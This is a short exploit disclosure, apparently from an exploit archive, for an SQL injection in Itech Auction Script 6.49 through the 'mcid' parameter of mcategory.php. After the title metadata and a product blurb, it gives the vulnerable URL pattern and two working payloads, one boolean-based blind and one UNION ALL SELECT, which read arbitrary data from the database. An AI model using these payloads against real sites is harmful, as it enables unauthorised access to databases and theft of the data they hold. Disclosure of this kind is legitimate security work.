Itech Auction Script 6.49 - 'mcid' SQL Injection

Exploit Title: Itech Auction Script v6.49 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/auction-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Auction Script v6.49 is the best standard auction product. This also comes pre-integrated with a robust Multi-Vendor interface and a powerful CMS panel.

Type of vulnerability:

An SQL Injection vulnerability in Itech Auction Script allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : http://locahost/mcategory.php?mcid=4[payload]

Parameter: mcid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mcid=4' AND 1734=1734 AND 'Ggks'='Ggks

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: mcid=-5980' UNION ALL SELECT CONCAT(0x71706b7171,0x764646494f4c7178786f706c4b4749517349686768525865666c6b6456434c766b73755a44657777,0x7171706a71)-- XAee